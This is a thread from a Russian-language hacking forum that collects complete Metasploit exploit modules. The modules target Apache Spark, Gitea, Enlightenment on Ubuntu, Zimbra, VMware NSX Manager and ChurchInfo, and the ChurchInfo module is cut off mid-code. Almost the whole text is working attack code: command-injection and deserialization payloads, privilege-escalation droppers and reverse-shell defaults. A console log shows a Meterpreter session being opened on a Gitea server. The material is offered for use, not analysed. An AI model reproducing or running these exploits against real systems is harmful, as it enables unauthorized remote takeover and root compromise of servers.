• XSS.stack #1 – первый литературный журнал от юзеров форума

Модули для Metasploit Framework

Apache Spark Unauthenticated Command Injection Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'rex/stopwatch'
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Spark Unauthenticated Command Injection RCE',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in Apache Spark.
          Successful exploitation results in remote code execution under the context of the Spark application user.
 
          The command injection occurs because Spark checks the group membership of the user passed
          in the ?doAs parameter by using a raw Linux command.
 
          It is triggered by a non-default setting called spark.acls.enable.
          This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.
 
          Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module
        ],
        'References' => [
          ['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure
          ['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis
          ['CVE', '2022-33891']
        ],
        'DefaultOptions' => {
          'SSL' => false,
          'WfsDelay' => 5
        },
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :in_memory,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'CmdStagerFlavor' => ['printf', 'curl'],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2022-07-18',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ]
    )
  end
 
  def execute_command(cmd, _opts = {})
    b64 = Rex::Text.encode_base64(cmd)
    post_data = "doAs=\`echo #{b64} | base64 -d | bash\`"
 
    return send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/'),
      'data' => post_data
    })
  rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e
    elog("A communication error occurred: #{e.message}", error: e)
  end
 
  def check
    print_status("Checking if #{peer} can be exploited!")
 
    res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")
 
    return CheckCode::Unknown('Did not receive a response from target.') unless res
 
    if res.code != 403
      return CheckCode::Safe('Target did not respond with a 403 response.')
    end
 
    sleep_time = rand(5..10)
    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
 
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_command("sleep #{sleep_time}")
    end
 
    print_status("Elapsed time: #{elapsed_time} seconds.")
 
    unless res && elapsed_time >= sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end
 
    CheckCode::Vulnerable('Successfully tested command injection.')
  end
 
  def exploit
    print_status('Exploiting...')
    case target['Type']
    when :in_memory
      execute_command(payload.encoded)
    when :dropper
      execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space
    end
  end
end
 
Gitea Git Fetch Remote Code Execution

Код:
# Exploit Title: Gitea Git Fetch Remote Code Execution
# Date: 09/14/2022
# Exploit Author: samguy
# Vendor Homepage: https://gitea.io
# Software Link: https://dl.gitea.io/gitea/1.16.6
# Version: <= 1.16.6
# Tested on: Linux - Debian
# Ref : https://tttang.com/archive/1607/
# CVE : CVE-2022-30781

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gitea Git Fetch Remote Code Execution',
        'Description' => %q{
          This module exploits Git fetch command in Gitea repository migration
          process that leads to a remote command execution on the system.
          This vulnerability affect Gitea before 1.16.7 version.
        },
        'Author' => [
          'wuhan005 & li4n0', # Original PoC
          'krastanoel'        # MSF Module
        ],
        'References' => [
          ['CVE', '2022-30781'],
          ['URL', 'https://tttang.com/archive/1607/']
        ],
        'DisclosureDate' => '2022-05-16',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix win],
        'Arch' => ARCH_CMD,
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options([
      Opt::RPORT(3000),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with']),
      OptString.new('PASSWORD', [true, 'Password to use']),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'keep_cookies' => true
    )
    return CheckCode::Unknown('No response from the web service') if res.nil?
    return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    # Powered by Gitea Version: 1.16.6
    unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))
      return CheckCode::Unknown('Target does not appear to be running Gitea.')
    end

    if match[:version].match(/[a-zA-Z]/)
      return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/user/login'),
      'vars_post' => {
        'user_name' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    return CheckCode::Safe('Authentication failed') if res&.code != 302

    if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')
      return CheckCode::Appears("Version detected: #{match[:version]}")
    end

    CheckCode::Safe("Version detected: #{match[:version]}")
  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def primer
    ['/api/v1/version', '/api/v1/settings/api',
     "/api/v1/repos/#{@migrate_repo_path}",
     "/api/v1/repos/#{@migrate_repo_path}/pulls",
     "/api/v1/repos/#{@migrate_repo_path}/topics"
    ].each { |uri| hardcoded_uripath(uri) } # adding resources

    vprint_status("Creating repository \"#{@repo_name}\"")
    gitea_create_repo
    vprint_good('Repository created')
    vprint_status("Migrating repository")
    gitea_migrate_repo
  end

  def exploit
    @repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_name = rand_text_alphanumeric(6..15)
    @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"
    datastore['URIPATH'] = "/#{@migrate_repo_path}"

    Timeout.timeout(datastore['HTTPDELAY']) { super }
  rescue Timeout::Error
    [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }
    cleanup # removing all resources
  end

  def get_csrf(cookies)
    csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last
    fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf
    csrf
  end

  def gitea_remove_repo(name)
    vprint_status("Cleanup: removing repository \"#{name}\"")
    uri = "/#{datastore['username']}/#{name}/settings"
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'action' => 'delete',
        'repo_name' => name,
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    vprint_warning('Unable to remove repository') if res&.code != 302
  end

  def gitea_create_repo
    uri = normalize_uri(target_uri.path, '/repo/create')
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)
    @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'auto_init' => 'on',
        'readme' => 'Default',
        'repo_name' => @repo_name,
        'trust_model' => 'default',
        'default_branch' => 'master',
        '_csrf' => get_csrf(res.get_cookies)
      },
      'keep_cookies' => true
    )
    fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def gitea_migrate_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/repo/migrate'),
      'keep_cookies' => true
    )
    uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri

    svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, uri),
      'keep_cookies' => true
    )
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'vars_post' => {
        'uid' => @uid,
        'service' => svc_type,
        'pull_requests' => 'on',
        'repo_name' => @migrate_repo_name,
        '_csrf' => get_csrf(res.get_cookies),
        'auth_token' => rand_text_alphanumeric(6..15),
        'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",
      },
      'keep_cookies' => true
    )
    if res&.code != 302 # possibly triggered by the [migrations] settings
      err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text
      gitea_remove_repo(@repo_name)
      cleanup
      fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")
    end

  rescue ::Rex::ConnectionError
    return CheckCode::Unknown('Could not connect to the web service')
  end

  def on_request_uri(cli, req)
    case req.uri
    when '/api/v1/version'
      send_response(cli, '{"version": "1.16.6"}')
    when '/api/v1/settings/api'
      data = {
        'max_response_items':50,'default_paging_num':30,
        'default_git_trees_per_page':1000,'default_max_blob_size':10485760
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}"
      data = {
        "clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",
        "owner": { "login": datastore['username'] }
      }
      send_response(cli, data.to_json)
    when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"
      send_response(cli, '{"topics":[]}')
    when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"
      data = [
        {
          "base": {
            "ref": "master",
          },
          "head": {
            "ref": "--upload-pack=#{payload.encoded}",
            "repo": {
              "clone_url": "./",
              "owner": { "login": "master" },
            }
          },
          "updated_at": "2001-01-01T05:00:00+01:00",
          "user": {}
        }
      ]
      send_response(cli, data.to_json)
    end
  end
end

**********************************************************************
Test in Docker Gitea
msf6 > use multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set USERNAME msfuser
USERNAME => msfuser
msf6 exploit(multi/http/gitea_git_hooks_rce) > set PASSWORD Msf!23
PASSWORD => Msf!23
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/gitea_git_hooks_rce) > set LHOST 192.168.1.75
LHOST => 192.168.1.75
msf6 exploit(multi/http/gitea_git_hooks_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/gitea_git_hooks_rce) > options

Module options (exploit/multi/http/gitea_git_hooks_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD Msf!23 yes Password to use
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
USERNAME msfuser yes Username to authenticate with
VHOST no HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.75 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
1 Linux Dropper


msf6 exploit(multi/http/gitea_git_hooks_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_hooks_rce) > run

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Gitea version is 1.12.6
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Authenticate with "msfuser/Msf!23"
[*] Get "csrf" value
[+] csrf=T1KKDKlPGzvIj4fuomjsVJEa-MU6MTYxNzE5OTU0NzU0MTcyNzcwMA
[+] Logged in
[*] Create repository "Sonair_Trippledex"
[*] Get "csrf" and "uid" values
[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA
[+] uid=1
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAA...
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAO...
[*] Setup post-receive hook with command
[*] Get "csrf" value
[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA
[+] Git hook setup
[*] Create a dummy file on the repo to trigger the payload
[*] Get "csrf" and "last_commit" values
[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA
[+] last_commit=4d92bd44d30756f8cecaf2682cb4dd5129856085
[*] RfWwr.txt created
[+] File created, shell incoming...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3008420 bytes) to 192.168.1.75
[*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.75:61289) at 2021-03-31 16:05:51 +0200
[*] Cleaning up
[*] Get "csrf" value
[+] csrf=9836W_NOSYO4u-1hnrr5F9UZ4dg6MTYxNzE5OTU0ODU0MjM4MzQwMA
[*] Repository Sonair_Trippledex deleted.

meterpreter > getuid
Server username: git @ 7ed1d63a11a7 (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 172.20.0.3
OS : (Linux 4.19.121-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
 
Последнее редактирование:

Ubuntu 22.04.1 X64 Desktop Enlightenment 0.25.3-1 Privilege Escalation Exploit​

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ubuntu Enlightenment Mount Priv Esc',
'Description' => %q{
This module exploits a command injection within Enlightenment's
enlightenment_sys binary. This is done by calling the mount
command and feeding it paths which meet all of the system
requirements, but execute a specific path as well due to a
semi-colon being used.
This module was tested on Ubuntu 22.04.1 X64 Desktop with
enlightenment 0.25.3-1 (current at module write time)
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Maher Azzouzi' # discovery, poc
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit' ],
[ 'URL', '
' ],
[ 'CVE', '2022-37706' ]
],
'DisclosureDate' => '2022-09-13',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true, # so we can exploit multiple times
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def find_enlightenment_sys
enlightenment_sys = '/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys'
if file_exist?(enlightenment_sys)
vprint_good("Found binary: #{enlightenment_sys}")
if setuid?(enlightenment_sys)
vprint_good("It's set for SUID")
# at this time there doesn't seem to be any other way to check if it'll be exploitable
# like a version number as a patch hasn't been released yet
return enlightenment_sys
else
return nil
end
else
vprint_status('Manually searching for exploitable binary')
# https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7
binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1')

vprint_good("Found SUID binary: #{enlightenment_sys}") unless binary.nil?
return binary
end
end

def check
enlightenment_sys = find_enlightenment_sys
return CheckCode::Safe('An exploitable enlightenment_sys was not found on the system') if enlightenment_sys.nil?

CheckCode::Appears
end

def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

print_status('Finding enlightenment_sys')
enlightenment_sys = find_enlightenment_sys
if enlightenment_sys.nil?
fail_with Failure::NotFound, "#{base_dir} is not writable"
end

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
dev_path = "/dev/../tmp/;#{payload_path}"
register_files_for_cleanup(payload_path)

print_status('Creating folders for exploit')
cmd_exec('rm -rf /tmp/net; mkdir -p /tmp/net')
cmd_exec("mkdir -p \"#{dev_path}\"")
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
enlightenment_sys = find_enlightenment_sys
print_status 'Launching exploit...'
cmd_exec("#{enlightenment_sys} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \"#{dev_path}\" /tmp///net", nil, datastore['WfsDelay'])
end
end
 

Zimbra Privilege Escalation Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zimbra sudo + postfix privilege escalation',
        'Description' => %q{
          This module exploits a vulnerable sudo configuration that permits the
          zimbra user to execute postfix as root. In turn, postfix can execute
          arbitrary shellscripts, which means it can execute a root shell.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'EvergreenCartoons', # discovery and poc
          'Ron Bowes',         # Module
        ],
        'DisclosureDate' => '2022-10-13',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2022-3569' ],
          [ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
        ],
        'Targets' => [
          [ 'Auto', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS ]
        }
      )
    )
    register_options [
      OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
      OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".<random>"' ])
    ]
  end
 
  # Because this isn't patched, I can't say with 100% certainty that this will
  # detect a future patch (it depends on how they patch it)
  def check
    # Sanity check
    if is_root?
      fail_with(Failure::None, 'Session already has root privileges')
    end
 
    unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
      print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
      return CheckCode::Safe
    end
 
    unless command_exists?(datastore['SUDO_PATH'])
      print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
      return CheckCode::Safe
    end
 
    # Run `sudo -n -l` to make sure we have access to the target command
    cmd = "#{datastore['SUDO_PATH']} -n -l"
    print_status "Executing: #{cmd}"
    output = cmd_exec(cmd).to_s
 
    if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
      print_error('Current user could not execute sudo -l')
      return CheckCode::Safe
    end
 
    if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
      print_error('Current user does not have access to run postfix')
      return CheckCode::Safe
    end
 
    CheckCode::Appears
  end
 
  def exploit
    base_dir = datastore['WritableDir'].to_s
    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end
 
    # Generate some filenames
    payload_path = File.join(base_dir, datastore['PayloadFilename'] || ".#{rand_text_alphanumeric(5..10)}")
    upload_and_chmodx(payload_path, generate_payload_exe)
    register_file_for_cleanup(payload_path)
 
    cmd = "sudo #{datastore['ZIMBRA_BASE']}/common/sbin/postfix -D -v #{payload_path}"
    print_status "Attempting to trigger payload: #{cmd}"
    out = cmd_exec(cmd)
 
    unless session_created?
      print_error("Failed to create session! Cmd output = #{out}")
    end
  end
end
 

VMware NSX Manager XStream Unauthenticated Remote Code Execution Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware NSX Manager XStream unauthenticated RCE',
        'Description' => %q{
          VMware Cloud Foundation (NSX-V) contains a remote code execution vulnerability via XStream open source library.
          VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.
          Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),
          a malicious actor can get remote code execution in the context of 'root' on the appliance.
          VMware Cloud Foundation 3.x and more specific NSX Manager Data Center for vSphere up to and including version 6.4.13
          are vulnerable to Remote Command Injection.
 
          This module exploits the vulnerability to upload and execute payloads gaining root privileges.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y', # metasploit module author
          'Sina Kheirkhah', # Security researcher (Source Incite)
          'Steven Seeley' # Security researcher (Source Incite)
        ],
        'References' => [
          ['CVE', '2021-39144'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0027.html'],
          ['URL', 'https://kb.vmware.com/s/article/89809'],
          ['URL', 'https://srcincite.io/blog/2022/10/25/eat-what-you-kill-pre-authenticated-rce-in-vmware-nsx-manager.html'],
          ['URL', 'https://attackerkb.com/topics/ngprN6bu76/cve-2021-39144']
        ],
        'DisclosureDate' => '2022-10-25',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :in_memory,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end
 
  def check_nsx_v_mgr
    return send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login.jsp')
    })
  rescue StandardError => e
    elog("#{peer} - Communication error occurred: #{e.message}", error: e)
    fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
  end
 
  def execute_command(cmd, _opts = {})
    b64 = Rex::Text.encode_base64(cmd)
    random_uri = rand_text_alphanumeric(4..10)
    xml_payload = <<~XML
      <sorted-set>
        <string>foo</string>
        <dynamic-proxy>
          <interface>java.lang.Comparable</interface>
          <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
              <command>
                <string>bash</string>
                <string>-c</string>
                <string>echo #{b64} &#x7c; base64 -d &#x7c; bash</string>
              </command>
            </target>
            <action>start</action>
          </handler>
        </dynamic-proxy>
      </sorted-set>
    XML
 
    return send_request_cgi({
      'method' => 'PUT',
      'ctype' => 'application/xml',
      'uri' => normalize_uri(target_uri.path, 'api', '2.0', 'services', 'usermgmt', 'password', random_uri),
      'data' => xml_payload
    })
  rescue StandardError => e
    elog("#{peer} - Communication error occurred: #{e.message}", error: e)
    fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")
  end
 
  # Checking if the target is potential vulnerable checking the http title "VMware Appliance Management"
  # that indicates the target is running VMware NSX Manager (NSX-V)
  # All NSX Manager (NSX-V) unpatched versions, except for 6.4.14, are vulnerable
  def check
    print_status("Checking if #{peer} can be exploited.")
    res = check_nsx_v_mgr
    return CheckCode::Unknown('No response received from the target!') unless res
 
    html = res.get_html_document
    html_title = html.at('title')
    if html_title.nil? || html_title.text != 'VMware Appliance Management'
      return CheckCode::Safe('Target is not running VMware NSX Manager (NSX-V).')
    end
 
    CheckCode::Appears('Target is running VMware NSX Manager (NSX-V).')
  end
 
  def exploit
    case target['Type']
    when :in_memory
      print_status("Executing #{target.name} with #{payload.encoded}")
      execute_command(payload.encoded)
    when :linux_dropper
      print_status("Executing #{target.name}")
      execute_cmdstager
    end
  end
end
 

ChurchInfo 1.2.13-1.3.0 Remote Code Execution Exploit​

Код:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
        'Description' => %q{
          This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
          By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
          ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
          then browsing to the location of the uploaded PHP file on the web server, arbitrary code
          execution as the web daemon user (e.g. www-data) can be achieved.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'm4lwhere <m4lwhere@protonmail.com>' ],
        'References' => [
          ['URL', 'http://www.churchdb.org/'],
          ['URL', 'http://sourceforge.net/projects/churchinfo/'],
          ['CVE', '2021-43258']
        ],
        'Platform' => 'php',
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic Targeting', { 'auto' => true }]],
        'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['REPEATABLE_SESSION'],
          'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']
        }
      )
    )
    # Set the email subject and message if interested
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
        OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
